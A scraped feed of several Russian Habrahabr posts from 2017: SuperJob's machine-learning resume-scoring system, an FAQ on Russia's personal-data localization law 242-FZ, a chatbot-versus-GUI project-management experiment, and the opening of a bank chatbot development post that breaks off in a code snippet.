
    Работа с текстовыми признаками:
    Текст очищаем от стоп-слов, пунктуации, лемматизируем.
    Из тестовых признаков формируем тематические группы:

    • профессия вакансии и профессии из резюме;
    • требования вакансии и ключевые навыки резюме;
    • обязанности вакансии и обязанности с предыдущих мест работы соискателя.


    Для каждой группы обучаем свой TF-IDF Vectorizer. Получаем векторайзеры, обученные на всем списке профессий, на всех требованиях вакансий совместно с навыками резюме и т.д. Например, у нас есть такая фича, как сходство профессии из вакансии с профессиями из опыта работы соискателя. Для каждой фразы получаем tf-idf вектор и вычисляем cosine similarity (косинус угла между векторами) c вектором другой фразы путем скалярного умножения векторов. Таким образом получаем меру сходства двух фраз.

    В процессе генерации признаков мы консультировались с исследовательским центром SuperJob. Для рекрутеров был запущен опрос с целью выявить наиболее значимые признаки, по которым они принимают решение, пригласить кандидата или отклонить.

    Результаты ожидаемы: рекрутеры смотрят на опыт работы, продолжительность работы на последнем месте, на среднюю продолжительность работы во всех компаниях. На то, является ли желаемая должность из резюме новой для кандидата, т.е. работал ли он по данной профессии раньше или нет. Мы учли данные опроса при составлении признаков для модели.

    Примеры признаков:

    • средняя продолжительность работы на одном месте, в месяцах;
    • количество месяцев работы на последнем месте;
    • разница между требуемым опытом вакансии и опытом из резюме;
    • попадание желаемой зарплаты резюме в зарплатную вилку вакансии;
    • мера сходства между желаемой должностью и предыдущим местом работы;
    • мера сходства между специальностью образования и требованиями вакансии;
    • рейтинг (заполненнность) резюме.


    When it doubt, use xgboost


    Для решения задачи классификации мы используем реализацию градиентного бустинга xgboost.

    После обучения модели мы смогли собрать статистику по значимым признакам. Среди значимых признаков ожидаемо оказались опыт работы, зарплатные фичи, попадание желаемой зарплаты из резюме в зарплатную вилку вакансии, мера сходства профессии вакансии и опыта работы соискателя, сходство требований вакансии и ключевых навыков резюме.

    Также в топе признаков оказался возраст соискателя. Мы решили провести эксперимент и убрали данный признак, так как не хотели дискриминировать наших соискателей. В итоге в топ попала фича «количество лет с момента получения высшего образования», которая, очевидно, коррелирует с возрастом. Мы убрали и этот признак и заново обучили модель. После всех манипуляций с возрастом мы увидели, что метрики качества модели немного просели. В итоге решили вернуть возраст, т.к. в массовом подборе он действительно важен рекрутеру, на него обращают внимание. Но компенсируем соискателям в возрасте очки скоринга, если их отклик немного не дотягивает до релевантного, т.к. считаем, что именно возраст соискателя пессимизировал его резюме.

    После нескольких итераций по обучению модели, подготовке фич мы получили модель с неплохими метриками качества.



    ROC-кривая отражает зависимость доли верных положительный классификаций от доли ложных положительных классификаций. А площадь под roc-кривой можно интерпретировать следующим образом: auc-roc равен вероятности того, что случайно взятый объект 1 класса получит оценку выше, чем случайно взятый объект класса 0.

    Мы не останавливаемся на данной модели и проводим новые эксперименты. Сейчас работаем над наполнением списка синонимов профессий, используя doc2vec, чтобы точнее определять факт того, что профессия из резюме соответствует профессии вакансии, и чтобы ведущий php-разработчик и senior php developer не были разными профессиями для модели. Также идут работы над тематическим моделированием с использованием библиотеки BigARTM для получения ключевых тем вакансии и резюме.

    Также нам было необходимо, чтобы как можно меньше подходящих резюме оказалось в нерелевантных, т.е. мы должны минимизировать количество ошибок второго рода или ложно-отрицательных срабатываний. Для этого мы немного снизили значение threshold-вероятности принадлежности к релевантному классу. Таким образом снизили количество FN-ошибок. Но это имело и обратный эффект: возросло количество FP-ошибок.



    На фреймворке Flask реализовали небольшой микросервис с REST API скоринга, упаковали его в docker контейнер и развернули на выделенном под эту задачу сервере. В контейнере запущен uWSGI веб сервер с мастер-процессом и 24 процессами-воркерами, по одному на ядро.

    После того как пользователь откликается на сайте на вакансию, сообщение об этом факте попадает в очередь rabbitmq. Обработчик очереди получает сообщение, подготавливает данные, объект вакансии, объект резюме и вызывает endpoint api скоринга. Далее значение скоринга сохраняется в базу данных для последующей фильтрации откликов рекрутером в своем личном кабинете.

    Сначала мы хотели реализовать онлайн-скоринг непосредственно при обращении к личному кабинету, но, оценив количество откликов на некоторые вакансии и итоговое время работы модели над одной парой резюме-вакансия, реализовали скоринг в асинхронном режиме.

    Сам процесс скоринга занимает примерно 0,04—0,05 секунды. Таким образом, чтобы пересчитать значение скоринга для всех активных откликов на текущем железе, понадобится примерно 18—20 часов. С одной стороны, это большая цифра, с другой — мы пересчитываем скоринг достаточно редко, только при внедрении в продакшн новой модели. И с этой проблемой на данный момент можно как-то жить.

    Самую большую нагрузку на сервис скоринга генерируют не соискатели, откликающиеся на вакансии, а наш сервис почтовых рассылок «подписки на резюме». Данный сервис срабатывает раз в сутки и рекомендует соискателей на вакансии рекрутеров. Естественно, результат работы сервиса мы также должны проскорить, чтобы советовать рекрутеру только релевантные отклики.

    В итоге в пике работы мы обрабатываем 1000—1200 запросов в секунду. Если количество откликов, которые нужно проскорить, возрастет, то мы поставим рядом еще один сервер и горизонтально отмасштабируем сервис скоринга.

    Мониторинг


    Для того чтобы непрерывно оценивать метрики качества модели на актуальных данных личного кабинета, мы настроили задание мониторинга в jenkins. Скрипт несколько раз в сутки собирает данные из vertica по приглашениям и отклонениям, смотрит, как отработала модель на данных событиях, считает метрики и отправляет в систему мониторинга.

    Также мы можем сравнивать метрики разных моделей скоринга на одних данных из личного кабинета. Мы не сразу внедряем новые модели, сначала скорим все отклики экспериментальной моделью, сохраняем значения скоринга в базу, а потом на графиках смотрим, лучше отрабатывают экспериментальные модели или хуже.



    Графики делают нашу жизнь спокойнее, мы уверены, что качество скоринга не изменилось и все этапы работают в штатном режиме.

    Реализация в личном кабинете


    В списке откликов на определенную вакансию появились два таба, подходящие и неподходящие отклики. В качестве примера все та же вакансия ведущего программиста php в SuperJob. Резюме php-программиста, пусть и не ведущего или senior и резюме fullstack-разработчика со знанием php попало в подходящие отклики, а резюме программиста .net и руководителя it-отдела ожидаемо ушли в неподходящие.





    АБ-тестирование


    После реализации функционала скоринга мы провели ab-тест на рекрутерах.
    Для теста мы выбрали следующие метрики:

    • Конверсия присланных резюме в приглашенные — impact 8.3%
    • Число приглашенных резюме — impact 6.7%
    • Конверсия открытых вакансий в закрытые — impact 6.0%
    • Число закрытых вакансий — impact 5.4%
    • Количество дней до закрытия вакансий — impact 7.7%

    Данный тест мы проводили с уровнем значимости в 5%, это означает, что существует 5% вероятность допустить ошибку первого рода или ложноположительное срабатывание.

    После ab-тестирования собрали обратную связь от рекрутеров, которые попали в вариант с функционалом скоринга. Обратная связь также была положительной. Они пользуются функционалом, тратят меньше времени на массовый подбор.

    Выводы


    Самое главное — обучающая выборка.
    Мониторим метрики качества модели.
    Фиксируем random_state.
    Original source: habrahabr.ru (comments, light).

    https://habrahabr.ru/post/338428/


    Метки:  

    Краткий FAQ о Федеральном законе N 242-ФЗ

    Четверг, 28 Сентября 2017 г. 14:01 + в цитатник
    Cloud4Y сегодня в 14:01 Управление

    Краткий FAQ о Федеральном законе N 242-ФЗ


      Не далее, как 1-го сентября Роскомнадзор опубликовал итоги реализации федерального закона о локализации баз персональных данных российских граждан на территории России. Полная версия статьи находится по адресу: https://rkn.gov.ru/news/rsoc/news49466.htm


      С момента реализации Федерального закона №242-ФЗ сотрудниками Роскомнадзора проведено 2256 плановых проверок, 192 внеплановые проверки и более 3000 мероприятий систематического наблюдения, по итогам которых выявлено 56 нарушений требований, связанных с локализацией персональных данных, что составляет около 1 % от общего числа выявленных нарушений.


      Инфографика из статьи, так же представленная Роскомнадзором:

      Итак, о чем пойдет речь? Да, про приславутый ФЗ №242. Попытаемся ответить на наиболее типичные вопросы, и попытаемся ответить на вопрос: "А что делать, чтоб не попасть в эти проценты?"


      Для тех, кто не в курсе, небольшой ликбез.


      C 1 сентября 2015 года в Российской Федерации начало действовать положение о локализации хранения и отдельных процессов обработки персональных данных, определенное в Федеральном законе №242 от 21 июля 2014 года «О внесении изменений в отдельные законодательные акты Российской Федерации в части уточнения порядка обработки персональных данных в информационно-телекоммуникационных сетях».


      242-м законом были внесены, в том числе, и изменения по интересующим нас вопросам. ФЗ №242 в статье 1 дополнил Федеральный закон от 27 июля 2006 г. №149 «Об информации, информационных технологиях и о защите информации» новой статьёй 15.5 «Порядок ограничения доступа к информации, обрабатываемой с нарушением законодательства Российской Федерации в области персональных данных».


      В соответствии с частью 1 статьи 1 была создана автоматизированная информационная система «Реестр нарушителей прав субъектов персональных данных», целью которой является ограничение доступа к информации в «Интернет», обрабатываемой с нарушением законодательства Российской Федерации в области персональных данных. Основанием для внесения в "Реестр нарушителей" доменного имени, URL-адреса интернет-страницы, законодателем установлено вступившее в законную силу решение суда о признании деятельности по распространению информации, содержащей персональные данные, нарушающей требования ФЗ №152, а также права субъекта персональных данных на неприкосновенность частной жизни, личную и семейную тайну.


      Как мы знаем, вся эта система уже работает. Как пример, приведем одно из множества подобных судебных решений.


      Решением Симоновского районного суда г. Москвы от 02.06.2016 по делу № 2-5818/16 деятельность Интернет-ресурса http://zvonki.octo.net, предоставлявшего доступ неограниченного круга лиц к персональным данным граждан в объеме: ФИО, телефон, адрес, паспортные данные, без соответствующего согласия, признана незаконной. Также суд обязал Роскомнадзор принять меры по ограничению доступа к информации в сети Интернет, обрабатываемой с нарушением законодательства Российской Федерации в области персональных данных, путем внесения указанного сайта в Реестр нарушителей.

      Той же статьей, частью 3, Роскомнадзор определен в качестве органа, уполномоченного на создание, формирование и ведение Реестра нарушителей.


      Статистика ведения "Реестра нарушителей" показывает, что 50% владельцев сайтов, включенных в "Реестр нарушителей", в добровольном порядке устраняют нарушения законодательства Российской Федерации в области персональных данных.


      Второй же статьей вносятся изменения в две статьи (ст. 18, 22) главы 4 «Обязанности оператора» и одну статью (ст. 23) главы 5 «Контроль и надзор за обработкой персональных данных. Ответственность за нарушение требований настоящего федерального закона» (ФЗ № 152).


      Так же, частью 1 второй статьи законодателем внесены изменения в статью 18 «Обязанности оператора при сборе персональных данных» ФЗ № 152, согласно которым для оператора установлевается обязанность осуществлять при сборе персональных данных определенные виды обработки персональных данных в базах данных, которые находятся на территории России. Определенные виды обработки это: запись, систематизация, накопление, хранение, уточнение (обновление, изменение), извлечение персональных данных граждан Российской Федерации. Т.е. фактически любые действия с ПД, оператор обязан осуществлять с использованием баз данных, находящихся на территории Российской Федерации.


      Вот об этом требовании и пойдет далее речь.


      Кого касается данная мера?


      Ответим комментарием Минкомсвязи: "… обязанности по локализации отдельных процессов обработки персональных данных распространяются на иностранных операторов при условии осуществления ими направленной деятельности на территорию Российской Федерации и отсутствии исключений, прямо указанных в ч. 5 ст. 18 ФЗ «О персональных данных» (например, международного договора, для достижения целей которого осуществляется обработка)."
      Да, в общем всех, кто работает с нашими согражданами, т.е. и наших и ваших.


      А что же делать, если мы данные уже собрали и храним за рубежом?


      Можете их там и хранить, но если у вас появится необходимость поработать с этими данными, то базу вместе с результатами обработки придется уже разместить в России. Так это сейчас трактуется.


      Что если данные физически хранятся в России, но обработка осуществляется за рубежом?


      Закон, с определенными оговорками, это позволяет (трансграничная передача и все такое). Но, главное при этом помнить, что результаты этой обработки так же должны сначала попасть в базу на нашей территории. Т.е., грубо говоря, база на нашей территории всегда должна быть "полнее, выше, сильнее"!


      А как определят, что иностранный сайт работает с Россией?


      На данном этапе определяют работу с Россией так:


      1) использование делегированного доменного имени, связанного с Российской Федерацией (.ru,.рф., .su) и/или
      2) наличие русскоязычной версии Интернет-сайта, созданной владельцем такого сайта или по его поручению иным лицом (использование на сайте или самим пользователем плагинов, предоставляющих функционал автоматизированных переводчиков с различных языков, не должно приниматься во внимание);
      3) возможности исполнения заключенного на таком Интернет-сайте договора на территории Российской Федерации (доставки товара, оказания услуги или пользования цифровым контентом на территории России).

      А вообще пока этот вопрос прорабатывается и ждите следующих версий! Как это похоже на наших законотворцев!)


      Мы уже подавали уведомление в Роскомнадзор как оператор ПД, нам нужно что-то еще сделать?


      Давно пора!


      … Операторы, сведения о которых уже внесены в Реестр операторов, в соответствии с частью 7 статьи 22 Федерального закона № 152-ФЗ должны направить Информационное письмо о внесении изменений в сведения об Операторе в Реестре операторов с указанием сведений о месте нахождения базы данных информации, содержащей персональные данные граждан Российской Федерации…

      Так что же делать?


      Если у вас базы хранятся в России, то в первую очередь, подать уведомление в Роскомнадзор и внести в дополнительные поля адреса нахождения этих баз. Только будьте внимательны. Множество ошибок из-за того, что наименование страны вводят, а подробный адрес забывают.



      Ниже ссылка на электронную форму уведомления, чтоб долго не искали.


      «Информационное письмо о внесении изменений в сведения в реестре операторов, осуществляющих обработку персональных данных»: https://rkn.gov.ru/personal-data/forms/p333/


      Если же базы пока зарубежом, то пора как минимум задуматься об их локализации, например, в облаке. Многие гиганты индустрии (Microsoft, Samsung, Lenovo, Aliexpress, Ebay, PayPal, Uber, Booking.com), как мы знаем из СМИ, это уже давно сделали. Не думаю, что пользователям приятно видеть эту надпись при доступе к любимому сайту.



      Однако, не все зарубежные компании торопятся с этим. Ранее глава Роскомнадзора Александр Жаров сообщил журналистам, что Facebook прекратит работу в России по аналогии с социальной сетью Linkedin, если не исполнит закон о персональных данных, это может произойти в 2018 году. Позднее представитель ведомства Вадим Ампелонский добавил, что в 2017 году никаких контрольных мероприятий в отношении деятельности Facebook в России не запланировано.


      «Facebook располагает в России значительной аудиторией, но при этом не является уникальным ресурсом. Роскомнадзор учитывает это при взаимодействии с компанией, оставляя приоритетом собственной деятельности неукоснительное соблюдение российского законодательства всеми без исключения участниками рынка» — отметил он в общении с ТАСС.

      Также стоит помнить, что если персональные данные передаются за границу под конкретную задачу, то принимающая данные сторона (если она не находится в стране-участнице Конвенции Совета Европы №108 о защите персональных данных, принятой большинством европейских стран, включая Россию, и в частности, не ратифицированной со стороны США) должна предоставить письменное подтверждение, которое гарантирует безопасность и корректное использование получаемой информации. Причем в соответствии с комментарием директора правового департамента Минкомсвязи Романа Кузнецова, условия подтверждения безопасности полностью совпадают с условиями Конвенции.


      Многие вопросы, возникающие у организаций по поводу 242-ФЗ. тесно связаны с конкретными условиями её дейтельности и осветить их в рамках статьи затруднительно. Задавайте интересующие вас вопросы в комментариях, мы постараемся ответить на них максимально подробно.

      Original source: habrahabr.ru (comments, light).

      https://habrahabr.ru/post/338882/


      Метки:  

      Графический интерфейс или чат бот в управлении проектами: что эффективнее?.. Практический эксперимент

      Четверг, 28 Сентября 2017 г. 13:51 + в цитатник
      Durham сегодня в 13:51 Управление

      Графический интерфейс или чат бот в управлении проектами: что эффективнее?.. Практический эксперимент

        Лет 30 назад во многих книгах по искусственному интеллекту утверждалось, что в будущем общение человека с компьютером будет происходить на естественном языке, а все другие интерфейсы уйдут в прошлое. Такую же картину часто можно видеть в различных фантастических фильмах. Но действительно ли голосовой интерфейс эффективнее? В нашем опыте мы заменим систему управления проектами в организации на чатбот с голосовым интерфейсом и посмотрим, что произойдет.



        Маленькое отступление:

        Меня всегда ставит в тупик то, что на Хабре с некоторых пор разделено «Управление» и «Разработка». А если статья о разработке системы управления? Честно говоря, в раздел «Управление» я никогда ничего еще не писал, но логика подсказывает, что нынешний материал скорее подходит сюда — он все-таки больше не про программирование, а про опыт в сфере управления проектами.

        Но, простите за отклонение от темы повествования, вернемся.

        Этап 1. Начало


        Началось все с малого. В нашей компании традиционно были проблемы с распределением задач и контролем результата… Точнее, пока работало 1.5 человека их не было. А когда штат резко вырос до 8, они начались — блокнот и мессенджер резко стали неэффективным средством организации работы. Тогда мы попробовали использовать Trello и Asana, и, до определенной степени, это решило проблему. Но в один прекрасный день нас посетила “великая” идея приделать голосовой интерфейс и посмотреть, что получится. Дело казалось небольшим — “всего навсего” нужно ведь чтобы голосом или через чат можно было создать задачу и узнать какие задачи надо делать.

        На момент начала воплощения этой идеи в жизнь аналогов не было (Cortana в Microsoft Dynamics понимала только английские команды).

        На сборку прототипа ушло пару недель. Изначально машинным обучением решили не заморачиваться и сделать распознавание смысла команд по шаблонам. Исходя из того, что шаблонами можно сделать очень много, и полагая, что основной набор команд будет небольшой, и все очень быстро их запомнят. Для распознавания голоса просто подключили API от Google (опыт показал, что он работает лучше всего).

        Выглядел первый результат примерно так, как на картинке сверху. Окно, строка ввода, и чат.

        Поскольку только практика — критерий истины, указанный результат решили внедрить для половины сотрудников, чтобы иметь возможность сравнить, что удобней.

        Этап 2. Этим пользоваться невозможно!


        Эту фразу сказали абсолютно все, вовлеченные в тестирование. Измерив же время, нужное для выполнения типовых операций, мы обнаружили, что оно замедлилось. Например, для создания задачи теперь требовалось более минуты (в “контрольной группе” 27 — 40 сек). Для замера времени поначалу использовали секундомер.

        Причин оказалось много. Во-первых, распознавание речи работает “лучше чем человеческое” только в теории (и, вероятно, только для английского языка). Даже простое “выполняет Дмитрий Иванович” легко превращается в “воняет Дмитрий Иван ВИЧ”. А сказать сколько-нибудь длинную фразу без ошибок и вовсе сложно. Поэтому все поголовно писали команды текстом. Ругаясь при этом нецензурно, что еще более осложняло работу программы.

        Запомнить команды оказалось тоже делом не простым. Кто-то запомнил, а кто-то продолжал писать как приходит в голову. Обнаружилось, что тонкая разница между “какие есть задачи” и “какие у меня есть задачи” не всегда улавливается человеком. А если при создании задачи вся нужная информация не поместилась в одну, то дальше нужно долго колебаться: “задаче поместить кнопку на сайт назначить срок выполнения до 15 сентября”

        Наконец, то, что в графическом интерфейсе решается перетаскиванием за пять секунд, у чат-бота превращается в “задачу исправить ошибку в программе, которая не работает перенести из раздела разное в раздел исправление ошибок”. Короче, командная строка с голосовым управлением никак не заменяет GUI

        Этап 3. Работа над ошибками


        По хорошему, на этапе 2, возможно, стоило бы остановится. Но осел человек — существо упрямое. Мы проанализировали ситуацию, задав себе вопрос, почему объяснить другому человеку голосом быстрее, а чат-боту нет. Основные выводы были такие:

        1. Люди опираются на контекст и понимание задачи собеседником. Т.е. “Возьми эту хрень там и приделай к ней такую фигню” — гораздо короче.
        2. Люди пользуются бумагой и ручкой, чтобы объяснить что-то
        3. Люди понимают недосказанные инструкции. Смысл одной и той же фразы меняется исходя из контекста
        4. Люди пользуются короткими именами и иногда кличками
        .

        Исходя из этого были реализовали новые функции:
        1. Возможность использования в командах контекста — одной или нескольких последних созданных или упомянутых задач.
        2. Возможность упоминать обрывки названия задачи, похожие названия и т.п.
        3. Список сотрудников и поиск наиболее похожих имен в списке.
        4. Минимальный графический интерфейс для отображения задач
        5. Расширили список вариантов в шаблонах и добавили несколько десятоков новых команд.
        6. Функция регистрации жалоб на систему


        Кроме того, усовершенствовали методику замера времени. Время теперь измерялось по набору из 4 типовых случаев использования (поставить новую задачу, узнать что делать, отметить что задача сделана, посмотреть результаты работы). В каждый случай добавили 5 примеров и вычисляли среднее время. Новые тесты показали примерное равенство эффективности чат-бота и обычной системы. Количество жалоб субъективно несколько сократилось (люди привыкли?), но все же недовольства осталось много.

        Также удалось найти небольшие (субъективные) плюсы чат-бота:
        1. Некоторые люди утверждали, что окно чата меньше “нагружает мозг”, потому что в нем меньше кнопок и надписей
        2. При работе с телефона, набор команд текстом (а мы помним, что большинство все еще не пользуется голосовым вводом) стал гораздо проще, после того как клавиатура выучила типичные команды. Утверждалось, что это быстрее, чем нажимать кнопки интерфейса.


        Как видим, плюсы пока очень шаткие. Анализ же жалоб показал, что:
        1. На стационарных компьютерах все же очень не хватает кнопок для выполнения частых задач
        2. Команд стало очень много, запомнить их тяжело, писать долго
        3. Не хватает привычного функционала


        Этап 4. Функционал, интеллект, интерфейс


        В реальности, человек-программист никогда не спросит начальника “какие у меня есть задачи”, не будет ждать перечисления всех задач, чтобы потом сказать “сейчас я буду делать задачу такую-то” (да, смешно. А многие на чат-боты так и работают в реальности).

        Подумав над проблемой, мы сократили набор команд исполнителя до “дай задачу”, “задача готова”, “есть проблема”, “дай другую”.

        Хотя, это легко сказать. На практике, “дай задачу” стало сложной интеллектуальной командой, которая анализирует приоритеты задач, сроки, сложность, загруженность исполнителей, и выбирает следующую задачу автоматически.

        Для исполнителей в этот момент наступило счастье. Думать не надо! Нажимать ничего не надо! Берешь задачу, делаешь, затем берешь следующую. Все дружно сказали — новая система — самая крутая! Другую не хотим.

        А мы поняли важный момент смысл интерфейса на естественном языке — не в том, чтобы понимать длинные сложно завернутые предложения. На самом деле чат-бот эффективен только если за ним стоит интеллект, понимающий предметную область. Когда человек обращается к программе, понимающей его речь, он подсознательно ждет, что система будет умной и сможет решать какие-то его проблемы. Объяснит что ему делать, как минимум. А может быть еще сама назначит исполнителя, распределит задачи заболевшего сотрудника. А в реальности чат-бот обладает в лучшем случае интеллектом собаки — «стоять, лежать, сидеть». Поэтому, попробовав вариант, когда у программы «больше прав решать, что делать», мы получили интересный результат.

        На самом деле не все так просто. Было много опасений, что такая система с автовыбором не справится с реальными ситуациями. Плюс, создается большая нагрузка на руководителя, который должен снабдить систему нужной информацией и правильно расставить приоритеты ( в нашем варианте система все-таки сама не решает, что и как, а скорее старается выполнить поставленный план). Практика действительно внесла определенные коррективы, но в целом, на удивление, новая методика оказалась проще и эффективнее.

        Правда, с точки зрения исполнителя чат-бот в основном стал не нужен. Достаточно четырех кнопок с указанными выше названиями.

        Вторым важным нововведением стал модуль самообучения для понимания команд. Мы оставили пока опознавание команд по шаблону, но добавили возможность автоматического создания новых шаблонов на основе анализа обращений. В результате быстро создалось много шаблонов, учлись все варианты произношения (вроде “воняет”), и голосовые команды стало возможно нормально использовать (и адаптировать под конкретного человека).

        Наконец, появился выигрыш в производительности — работа с системой стала быстрее (по тестовому набору типовых задач) в среднем на 45% по сравнению с “контролем”.

        Кроме того, я заметил некоторые субъективные плюсы:
        1. Можно получать информацию, ставить задачи и при этом ходить туда-сюда рядом с компьютером (иногда так проще думать)
        2. Вечером и в дороге, с телефона гораздо быстрее и проще создать задачу. Поэтому меньше задач стало теряться и забываться
        3. Можно разговаривать с программой как с человеком по телефону


        Желания вернуться к «традиционным» системам у меня не возникает. Наоборот, идея о том, что придется вводить задачи клавиатурой и мышкой вызывает ужас. Хотя, в офисе, где много народу, диктовать что-то программе бывает психологически некомфортно.

        Программе мы еще дорастили и интерфейс. Вот так он стал выглядеть:


        Функционал приблизился к тому, что есть во всякой другой системе управления проектами. Сроки, зависимости между задачами, разделы и подразделы, уведомления, отчеты.

        Заключение



        В итоге, мы добились повышения эффективности. Хотя получилась в каком-то смысле, каша из топора — к “топору” (чат-боту) пришлось добавить много функционала, без которого он был бесполезен. Имея уже достаточно значительный опыт в создании систем обработки языка, мы наступили на грабли много раз и потратили более 6 месяцев до момента когда система стала приносить нам реальную пользу.

        Ну и, конечно, то, что удалось рассказать в статье, это только верхушка айсберга — самые основные моменты с которыми мы столкнулись.

        PS

        можно посмотреть небольшое видео как выглядит общение с программой




        Original source: habrahabr.ru (comments, light).

        https://habrahabr.ru/post/338906/


        Как мы за неделю создали чат-бота и подружили его с веб-приложением

        Четверг, 28 Сентября 2017 г. 13:45 + в цитатник
        Otkritie сегодня в 13:45 Разработка

        Как мы за неделю создали чат-бота и подружили его с веб-приложением

          Чат-боты – новомодный тренд с многообещающими перспективами: в большинстве ситуаций искусственный интеллект эффективнее традиционных веб-приложений. Однако при интеграции новых технологий не стоит забывать о пользователях, не желающих – или не имеющих возможности – отказываться от привычных форм взаимодействия. Сегодня мы расскажем о том, как в течение недели создать чат-бота, обслуживающего конференции, и подружить его с классическим веб-приложением.

          image
          Фото chatbotsmagazine.com

          Первое поручение для банковского чат-бота


          Итак, искусственный интеллект пришел в банковский сектор и явно намерен здесь обосноваться. Технологии далеки от совершенства, чат-боты пока не способны полностью заменить человека. Но уже сегодня им можно смело доверить большинство рутинных задач по взаимодействию с клиентами. По крайней мере, здесь у них куда больше перспектив, чем у традиционных веб-приложений: 75% банковских сотрудников, опрошенных консалтинговым агентством Accenture, назвали основным вектором развития для данного направления именно искусственный интеллект.

          Если технология Bot Framework от Microsoft действительно способна улучшить клиентский сервис – наш банк просто не имеет морального права оставаться в стороне. При помощи своего чат-бота с использованием решения Bot Framework мы решили оптимизировать процесс голосования. Дело в том, что у нас регулярно проводятся презентации и прочие мероприятия, на которых мы знакомим людей с нашими последними достижениями и новшествами. Аудитория может голосовать за те сессии, которые им понравились, оставлять комментарии и вносить предложения.

          До сих пор мы предлагали участникам после мероприятия заполнить некое подобие анкеты на нашем сайте. Однако очевидно, что такая форма взаимодействия не является активной: достаточно часто пользователь просто закрывал веб-страницу. Другое дело – добавление ChatBot в список контактов. Наш робот не только вовлекает клиента в процесс обсуждения, но и остается с ним на связи после мероприятия. Впоследствии через чат-бот можно рассылать объявления, анонсы и прочую информацию.

          image
          Фото nonworkplace.com

          Созданный нами при поддержке Microsoft и OpenDev чат-бот способен поддерживать множество каналов – различных устройств и платформ, которые пользователи привносят на мероприятие. В отличие от веб-формы наш виртуальный помощник остается активным на протяжение всего мероприятия. Он следит за вопросами участников о сессиях и ораторах, может провести опрос или голосование.

          Принципиальные вопросы и первичная архитектура


          Оценка границ и объемов проекта проходила в несколько этапов. Задача кажется простой только на первый взгляд. Копнув чуть глубже, наша команда столкнулась с целым рядом вопросов, потребовавших серьезного мозгового штурма.

          • Должны ли все пользователи, подключенные к чат-боту через один канал – например Telegram, – состоять в одной группе? Или лучше организовать приватное взаимодействие для каждого клиента, чтобы сохранить тайну коммуникаций с ChatBot? Может быть, следует использовать оба варианта?
          • Для организации группового общения (первый и третий варианты из предыдущего абзаца) нужно управлять контекстом и сеансами. Но есть ли в Bot Framework и Telegram достаточно эффективные средства для решения этой задачи?
          • Можем ли мы использовать внутренние механизмы хранения, которые поддерживаются в Bot Framework?
          • Как быть с веб-формой для голосования? Если мы продолжаем ее поддерживать – что делать в случаях, когда клиент одновременно пользуется и Web Form, и ChatBot?

          image
          Фото chatbotsmagazine.com

          Отметим, что от идеи организации групповой связи мы в конечном итоге отказались. Bot Framework для Node.js – платформы, на которой мы разрабатывали чат-бота, – не позволяет эффективно управлять множественным контекстом. Поэтому поддержка связи была реализована через частный канал.

          В необходимости использования веб-формы в качестве дополнительного инструмента для голосования мы не сомневались: было бы неправильно оставить Telegram единственным каналом связи. Но для корректного взаимодействия нужно добиться максимальной идентичности обоих каналов. Разумеется, динамика процесса отличается: чат-бот моделирует разговор, предлагая начать процесс голосования. Кроме того, он знакомит пользователя с новым отчетом и снабжает его дополнительной информацией.

          Как уже сказано выше, чат-бот разрабатывался в Node.js. Что касается веб-формы, то она представляет собой сайт, написанный на Java. Оба компонента используют базу данных MySQL, расположенную в инфраструктуре OpenDev. Выбор системы базы данных основывался на ее простоте и низких требованиях к ресурсам сервера. Изначально архитектура была реализована на одном MySQL сервере. Первая версия, показанная на рисунке ниже, выглядит чрезвычайно просто. Осталось усовершенствовать эту модель, добавив масштабируемости и надежности.

          image


          Чат-бот, устойчивый к стрессам


          Для начала – немного терминологии. Под масштабируемостью мы понимаем стрессоустойчивость программного обеспечения, его способность справляться с повышенной нагрузкой. Таким образом в любых ситуациях все одновременные пользователи должны иметь одинаковый опыт – с точки зрения латентности, времени загрузки и пр.

          Надежность определяется временем, в течение которого система работает без сбоев. Кроме того, для обмена сообщениями необходимо обеспечить приложению высокую доступность. Иными словами, пользователи должны отправлять и получать сообщения в течение соответствующих временных интервалов.

          Создать надежную и легко масштабируемую архитектуру помогло использование некоторых передовых методов.

          • Loose coupling (https://en.wikipedia.org/wiki/Loose_coupling) – метод компоновки системы из максимально независимых друг от друга элементов. Каждый из компонентов архитектурного решения может быть легко и безболезненно заменен, обновлен или удален. То есть система остается работоспособной при отказе одного или нескольких компонентов.

          Отметим, что большинство архитектурных решений уже было принято в Bot Framework и командой Azure. Нам осталось только протестировать методику в процессе.

          • Separation of concerns (https://en.wikipedia.org/wiki/Separation_of_concerns) – передовая практика, идеально подходящая для разработки систем обмена сообщениями. В нашей ситуации «разделение интересов» выглядит следующим образом: хранение данных – внешнее, логика – внутри ChatBot, все остальное обрабатывается в Bot Framework.

          • Disaster recovery architecture (архитектура восстановление после сбоев) была реализована при помощи части Azure Web Apps в сочетании с Bot Dashboard (https://github.com/CatalystCode/ibex-dashboar). В качестве средства мониторинга мы использовали Application Insights.

          Вторая и окончательная версия архитектуры показана на рисунке ниже.

          image

          Аутентификация с вариантами и другие особенности системы


          Взаимодействие чат-бота и веб-формы требуется с самого первого шага – аутентификации. Рассмотрим для начала классическую авторизацию через сайт. Мы постарались максимально упростить процесс: пользователь вводит в веб-форму свою электронную почту – и получает письмо с двумя вариантами входа в систему:

          • по специальной ссылке;
          • при помощи кода.

          Второй способ универсален: код вводится либо в веб-форме, либо в чате. Синхронизация контента чат-бота и веб-формы происходит при любом из методов аутентификации. Правда, пользователь, авторизованный в веб-форме, все равно должен ввести код в чате. В этом случае чат-бот приветствует пользователя по имени, под которым он зарегистрировался на сайте.

          image

          Для чего нужна повторная аутентификация по коду? Для дополнительной безопасности: фактически после авторизации пользователя код служит в качестве токена.

          Теперь рассмотрим «чистую» аутентификацию в чат-боте. Последовательность выглядит следующим образом:

          1. Type / start.
          2. Enter Email.
          3. Get the code and enter it.

          Аутентификация с использованием источника данных в базе MySQL позволила сделать процесс простым и удобным, дав при этом возможность частично синхронизировать контекст. Полная синхронизация контекста потребовала бы введения многофакторной аутентификации. А это – неоправданное усложнение логики плюс увеличение нагрузки на бэкэнд. В нашем случае, когда жизненный цикл взаимодействия пользователя с приложениями ограничивается несколькими днями, такой подход не имеет практического смысла.

          image

          Ниже приведен код, при помощи которого реализована процедура подтверждения. Как вы можете видеть, сначала код проверяется регулярным выражением, подтвержденным на бэкэнд. Затем он заменяет набор констант на пользовательские данные и завершает процесс, приветствуя пользователя по имени.

          ``js
          promptCode() {
              	return [
                  (session, args) => {
                      	if (!_.isEmpty(args) && args.code) {
                          return session.replaceDialog('/promptName', session.userData);
                      	}
           
                      	if (!_.isEmpty(args) && args.reprompt) {
                          return Prompts.text(session, 'Введите код из **4-х** цифр:');
                      	}
           
                      	return Prompts.text(session, 'Введите код, присланный вам по email: ');
                	},
                  (session, result) => {
